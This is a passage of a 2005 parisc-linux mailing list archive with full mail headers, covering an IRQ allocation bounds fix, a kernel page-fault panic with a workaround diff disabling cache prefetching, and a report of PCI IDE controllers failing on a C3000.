List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25092


OK, I tracked down the change ... it was merely 4 years, 3 months ago ;-)

In txn_alloc_data, we test the bit width:

-       if ((virt_irq - CPU_IRQ_BASE) > (1 << (bits_wide - 1))) {
-               panic("Sorry -- didn't allocate valid IRQ for this device\n");
-       }

But the bracketing is wrong.  GSC devices could only allocate up to
16 IRQs (1 << (5 - 1)).  This should be 31, ((1 << bits_wide) - 1).
Or even better, just use >= and it becomes:

	if ((virt_irq - CPU_IRQ_BASE) >= (1 << bits_wide))

Much more intuitive and easy to understand, IMO.  Oh, and I'm rewriting
this to get rid of the panic ... what's committed later will look slightly
different to this.

-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Same pb on b2k 64bit + 2.6.11-rc2-pa0 [Was: [parisc-linux]
	2.6.11-rc3-pa3 smp "Segmentation fault" but not up]
Date: Tue, 25 Jan 2005 14:56:22 +0100
Lines: 113
Approved: news@gmane.org
Message-ID: <41DE61B8000059BA@mail-8-bnl.mail.tiscali.sys>
References: <41E9B61A.5060204@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="ISO-8859-15"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624531 26673 80.91.229.3 (22 Nov 2014 02:48:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:51 +0000 (UTC)
Cc: Matthew Wilcox <matthew@wil.cx>,
 List Parisc <parisc-linux@parisc-linux.org>
To: "Grant Grundler" <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:28:10 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 25 Jan 2005 13:56:48 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx052) with SMTP; 25 Jan 2005 14:56:48 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 470213BE6D; Tue, 25 Jan 2005 06:56:46 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02864-06; Tue, 25 Jan 2005 06:56:46 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 048123BE6F; Tue, 25 Jan 2005 06:56:33 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EBA913BE6B
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 25 Jan 2005 06:56:29 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 02864-01 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 25 Jan 2005 06:56:29 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id C78293BE6A
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 25 Jan 2005 06:56:28 -0700 (MST)
Original-Received: by palinux.hppa (Postfix)
	id 33D13495C5D; Tue, 25 Jan 2005 06:56:28 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail-r3.tiscali.it (griswold.tiscali.it [213.205.37.211])
	by palinux.hppa (Postfix) with ESMTP id 5D603495368;
	Tue, 25 Jan 2005 06:56:27 -0700 (MST)
Original-Received: from tiscali.be (10.39.113.122)
	by mail-r3.tiscali.it with ESMTP; 25 Jan 2005 14:56:26 +0100
Original-Received: from mail-8-bnl.mail.tiscali.sys ([10.39.115.138]
	helo=mail-8-bnl.tiscali.it)
	by mrq-2.tiscalinet.it with esmtp (Exim 4.43)
	id 1CtRBA-0006nO-8Y; Tue, 25 Jan 2005 14:56:25 +0100
Original-Received: from [57.67.177.33] by mail-8-bnl.tiscali.it with HTTP;
	Tue, 25 Jan 2005 14:56:22 +0100
In-Reply-To: <41E9B61A.5060204@tiscali.be>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25093

Hello Grant,
> 
[...]
> > My suspicion is the prefetching might be causing problems since it's
going
> > past the end of the page. The kernel tmp alias pages might be causing=

problems
> > since we don't flush past the end of those. (Or something like that).=

> > 
> sorry I didn't have yet understand all details of prefetching
> 
> > Can you remove only the prefetching in that algorithm?
> > 
> Yes, I did and already run one occurence of the loop without pb, .. so
we
> have to be patient to see if first mentioned pb (failures 
> after some loop occurence: about 50 last time) :-)
> 
mmm, I was ongoing to forget why the n was looping on a kernel's build wh=
en
the b2k panic due to the same pb with lastest 2.6.11-rc2-pa0 (+workaround=
):
patst005 login: Backtrace:
 [<000000001017cd00>] do_wp_page+0x250/0x950
 [<000000001017ee14>] handle_mm_fault+0x1b4/0x1e0
 [<0000000010110ec4>] do_page_fault+0x2bc/0x360
 [<000000001011299c>] handle_interruption+0x34c/0x748
 [<0000000010107094>] intr_check_sig+0x0/0xc


Kernel Fault: Code=3D15 regs=3D000000001d68c540 (Addr=3D0000000020000000)=

      
     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00001000000001001110011100001111 Not tainted
r00-03  0000000000000000 0000000000000000 000000001017cd00 0000000010a0df=
c8
r04-07  00000000105e2020 000000001d874000 0000000010983960 000000000007e2=
b0
r08-11  000000001d71cad0 000000001e7e9c00 000000000ffffb25 000000001d4043=
f0
r12-15  0000000010983960 000000001d8dc000 0000000000000001 000000000006a4=
04
r16-19  000000001d432740 000000000006a404 000000000006b404 00000000000000=
00
r20-23  0000000000000000 0000000000000000 0000000000000000 00000000000000=
00
r24-27  00000000000000d2 0000000020000000 000000001d875000 00000000105e20=
20
r28-31  0000000010983960 000000001d68c510 000000001d68c540 00000000000000=
20
sr0-3   0000000000429800 0000000000000000 0000000000000000 00000000004298=
00
sr4-7   0000000000000000 0000000000000000 0000000000000000 00000000000000=
00

IASQ: 0000000000000000 0000000000000000 IAOQ: 00000000101012c4 0000000010=
1012c8
 IIR: 0f2010d3    ISR: 0000000000000000  IOR: 0000000020000000
 CPU:        0   CR30: 000000001d68c000 CR31: 00000000105a0000
 ORIG_R28: 00000000103e3e68
 IAOQ[0]: copy_user_page_asm+0xa4/0xb0
 IAOQ[1]: copy_user_page_asm+0xa8/0xb0
 RP(r2): do_wp_page+0x250/0x950
Kernel panic - not syncing: Kernel Fault

I so applied the same work around:
--- arch/parisc/kernel/pacache.S.Orig   2005-01-25 13:44:26.000000000 +01=
00
+++ arch/parisc/kernel/pacache.S        2005-01-25 13:44:55.000000000 +01=
00
@@ -306,13 +306,18 @@
 
        ldd             0(%r25), %r19           /* bundle 1 */
        ldi             32, %r1                 /* PAGE_SIZE/128 =3D=3D 3=
2 */
+
+#if    0       /* Comment out prefetching awaiting better fix */
        ldw             64(%r25), %r0           /* prefetch 1 cacheline a=
head
*/
        ldw             128(%r25), %r0          /* prefetch 2 */
+#endif
 
 1:     ldd             8(%r25), %r20
+#if    0       /* Comment out prefetching awaiting better fix */
        ldw             192(%r25), %r0          /* prefetch 3 */
        ldw             256(%r25), %r0          /* prefetch 4 */
        nop     /* pad to preserve alignment */
+#endif
 
        ldd             16(%r25), %r21          /* bundle 2 */
        ldd             24(%r25), %r22
=3D=3D=3D=3D=3D=3D=3D=3D=3D><=3D=3D=3D=3D=3D=3D=3D=3D=3D

which help too

(I ran the build kernel loop on the smp n4k during a week: 612 runs amoun=
g
111 failed because of various page_fault :-)

Thanks,
Joel


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Max Grabert <parisc@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] tests with IDE controller ... IRQ xy: nobody cared!
Date: Wed, 9 Feb 2005 04:01:01 +0000
Lines: 65
Approved: news@gmane.org
Message-ID: <e6eae0290502082001783c3780@mail.gmail.com>
Reply-To: Max Grabert <parisc@gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624531 26674 80.91.229.3 (22 Nov 2014 02:48:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:51 +0000 (UTC)
To: Linux/PA <parisc-linux@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:28:11 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 09 Feb 2005 04:01:34 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx061) with SMTP; 09 Feb 2005 05:01:34 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 360D57D641;
	Tue,  8 Feb 2005 21:01:36 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16978-07; Tue, 8 Feb 2005 21:01:36 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 54F477D633;
	Tue,  8 Feb 2005 21:01:28 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2388B7D627
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  8 Feb 2005 21:01:27 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16954-05 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 8 Feb 2005 21:01:19 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id C01AF7D60D
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  8 Feb 2005 21:01:19 -0700 (MST)
Original-Received: by palinux.hppa (Postfix)
	id CCD514958B6; Tue,  8 Feb 2005 21:01:02 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from wproxy.gmail.com (wproxy.gmail.com [64.233.184.200])
	by palinux.hppa (Postfix) with ESMTP id 8735D4953C3
	for <parisc-linux@parisc-linux.org>;
	Tue,  8 Feb 2005 21:01:02 -0700 (MST)
Original-Received: by wproxy.gmail.com with SMTP id 55so1443278wri
	for <parisc-linux@parisc-linux.org>;
	Tue, 08 Feb 2005 20:01:01 -0800 (PST)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:reply-to:to:subject:mime-version:content-type:content-transfer-encoding;
	b=ueeQi8PWL9EdgdrL3EClA4BlYbuquX6CCFf94nikJSs6BPu303GUAxCXvPbo0I+YXHFRta8ojB7ytrHXnVEgW2nKTtaUPgFzWsb1WjjyMcjDOS/+I/USte11Qol7ylFhqbEX9o6oDdGOyA48eEJGZEBlStCQKrNZRryhiAGs/AE=
Original-Received: by 10.54.49.13 with SMTP id w13mr155814wrw;
	Tue, 08 Feb 2005 20:01:01 -0800 (PST)
Original-Received: by 10.54.57.13 with HTTP; Tue, 8 Feb 2005 20:01:01 -0800 (PST)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: K7k7caBOPTRtvejGPjIwMzIxc2tpZMvR
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25094

Hi PA,

It has been quite a long time since I last tried to get
PCI IDE controllers working in my C3k. So I decided
whether anything has change in this situation lately
 (Debian/testing, 2.6.11-rc3-pa3, 32bit, gcc-3.4.4).

I tried a noname Silicon Image Sil680 based IDE controller
and a Promise Ultra100 Tx2 (I compiled all IDE stuff and
IDE drivers as modules, so I could more easily test it).
I didn't have any luck getting the IDE controller to work,
but at least now I got much different error messages than
I used to get (months ago).
Maybe this might help you to locate the problem:

kernel: Uniform Multi-Platform E-IDE driver Revision: 7.00alpha2
kernel: ide: Assuming 33MHz system bus speed for PIO modes; override
with idebus=xx
kernel: PDC20268: IDE controller at PCI slot 0000:01:04.0
kernel: PCI: 0000:01:04.0 has unsupported PM cap regs version (1)
kernel: PDC20268: chipset revision 2
kernel: PDC20268: ROM enabled at 0xf4a00000
kernel: PDC20268: 100%% native mode on irq 21
kernel:     ide0: BM-DMA at 0x12100-0x12107, BIOS settings: hda:pio, hdb:pio
kernel:     ide1: BM-DMA at 0x12108-0x1210f, BIOS settings: hdc:pio, hdd:pio
kernel: Probing IDE interface ide0...
kernel: hda: ST3120022A, ATA DISK drive
kernel: ide0 at 0x12500-0x12507,0x12402 on irq 21
kernel: irq 21: nobody cared!
kernel: Backtrace:
kernel:  [<10143de4>] __report_bad_irq+0x34/0xac
kernel:  [<10143f4c>] note_interrupt+0xbc/0xf4
kernel:  [<101438d0>] __do_IRQ+0x17c/0x190
kernel:  [<101072fc>] do_cpu_irq_mask+0xa8/0xe4
kernel:  [<1010c068>] intr_return+0x0/0x14
kernel: handlers:
kernel: [<002ed640>] (ide_intr+0x0/0x290 [ide_core])
kernel: Disabling IRQ #21
kernel: Probing IDE interface ide1...
kernel: hdc: PLEXTOR DVDR PX-716A, ATAPI CD/DVD-ROM drive
kernel: ide1 at 0x12300-0x12307,0x12202 on irq 21

This particular message showed up when I tried the 
Promise card with the pdc202xx_new driver in a 33MHz slot.
Exactly the same backtrace occurs when I put the card in
a 66MHz slot and also when I tried the Silicon Image card
with the siimage driver (33MHz).

As you can see from the log, the hdd and the DVD burner
are correctly detected, but I cannot access them; a
'mount /dev/hda ...' or a 'cat /dev/hda' results in
'cannot open /dev/hda'.

(The Promise card with the pdc202xx_old driver does load, but
 doesn't detect anything nor does anything show up in the logs)


Thanks a lot in advance,
   Max
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] tests with IDE controller ... IRQ xy: nobody cared!
Date: Wed, 9 Feb 2005 07:34:57 +0100
Lines: 27
Approved: news@gmane.org
Message-ID: <4208AA1B0000044B@mail-3-bnl.tiscali.it>
References: <e6eae0290502082001783c3780@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="ISO-8859-15"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624532 26679 80.91.229.3 (22 Nov 2014 02:48:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:52 +0000 (UTC)
To: "Max Grabert" <parisc@gmail.com>,
 "Linux/PA" <parisc-linux@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:28:11 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 09 Feb 2005 06:35:21 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx028) with SMTP; 09 Feb 2005 07:35:21 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 706857D66C;
	Tue,  8 Feb 2005 23:35:35 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17257-05; Tue, 8 Feb 2005 23:35:35 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 980917D66E;
	Tue,  8 Feb 2005 23:35:27 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C1D437D66B
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  8 Feb 2005 23:35:25 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17257-01 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 8 Feb 2005 23:35:18 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 68FB07D665
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  8 Feb 2005 23:35:18 -0700 (MST)
Original-Received: by palinux.hppa (Postfix)
	id 2C7744958B6; Tue,  8 Feb 2005 23:35:01 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mrq-1.tiscali.sys (unknown [195.130.225.11])
	by palinux.hppa (Postfix) with ESMTP id CF9784953C3
	for <parisc-linux@parisc-linux.org>;
	Tue,  8 Feb 2005 23:35:00 -0700 (MST)
Original-Received: from mail-3-bnl.mail.tiscali.sys ([10.39.115.133]
	helo=mail-3-bnl.tiscali.it)
	by mrq-1.tiscali.sys with esmtp (Exim 4.43)
	id 1CylRC-00029K-Jm; Wed, 09 Feb 2005 07:34:59 +0100
Original-Received: from [57.67.177.33] by mail-3-bnl.tiscali.it with HTTP;
	Wed, 9 Feb 2005 07:34:57 +0100
In-Reply-To: <e6eae0290502082001783c3780@mail.gmail.com>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: E5c/CxJIQEVssejDZnVpSktKNzg2NYLU
Status: RO
X-Status: RC
X-KMail-EncryptionState: N
X-KMail-SignatureState: N
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25095

Hello Max,

Sorry if I have no idea for your pb but more an advise to request:

> kernel: hdc: PLEXTOR DVDR PX-716A, ATAPI CD/DVD-ROM drive
...
> 
> As you can see from the log, the hdd and the DVD burner
> are correctly detected
For the deployement of a custom hpux 11.11 we foreseen to build an ignite=

image on a dvd (not sure that could stil stand on a cd as for previous 11=
.00).

The question is: what unix tool(s) would you advise me to burn those dvd
(hpux or linux)?

Thanks in advance,
    Joel


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Max Grabert <parisc@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] tests with IDE controller ... IRQ xy: nobody cared!
Date: Wed, 9 Feb 2005 08:42:13 +0000
Lines: 44
Approved: news@gmane.org
Message-ID: <e6eae02905020900422504d63c@mail.gmail.com>
References: <e6eae0290502082001783c3780@mail.gmail.com>
	<4208AA1B0000044B@mail-3-bnl.tiscali.it>
Reply-To: Max Grabert <parisc@gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624532 26688 80.91.229.3 (22 Nov 2014 02:48:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:52 +0000 (UTC)
Cc: Linux/PA <parisc-linux@parisc-linux.org>
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:28:11 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 09 Feb 2005 08:42:45 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx051) with SMTP; 09 Feb 2005 09:42:45 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A1EC57D676;
	Wed,  9 Feb 2005 01:42:48 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18092-08; Wed, 9 Feb 2005 01:42:48 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BE6287D677;
	Wed,  9 Feb 2005 01:42:40 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D0A227D675
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  9 Feb 2005 01:42:39 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17919-10 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 9 Feb 2005 01:42:32 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 795A67D674
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  9 Feb 2005 01:42:32 -0700 (MST)
Original-Received: by palinux.hppa (Postfix)
	id 07B0D4958B6; Wed,  9 Feb 2005 01:42:15 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from wproxy.gmail.com (wproxy.gmail.com [64.233.184.194])
	by palinux.hppa (Postfix) with ESMTP id AEB8C4953C3
	for <parisc-linux@parisc-linux.org>;
	Wed,  9 Feb 2005 01:42:14 -0700 (MST)
Original-Received: by wproxy.gmail.com with SMTP id 55so1477129wri
	for <parisc-linux@parisc-linux.org>;
	Wed, 09 Feb 2005 00:42:13 -0800 (PST)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:reply-to:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:references;
	b=sETWLgyBNQiNHy1Hf4njcw8b0/Xc6onw25KHpxx7e66NdSx+p7Sh3TV9Yf2pSdA6YxJBwu+YM8FF+A4pEX2aBjgWhqoyESwhQAfEGVAQGRnGcu2di5o5bXGn4z/KdMwLSmZlDTY+Fcs4zb3YsiBF8m8ZI9JL3/VSFR+Ca2Pg+dc=
Original-Received: by 10.54.49.13 with SMTP id w13mr344783wrw;
	Wed, 09 Feb 2005 00:42:13 -0800 (PST)
Original-Received: by 10.54.57.13 with HTTP; Wed, 9 Feb 2005 00:42:13 -0800 (PST)
In-Reply-To: <4208AA1B0000044B@mail-3-bnl.tiscali.it>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
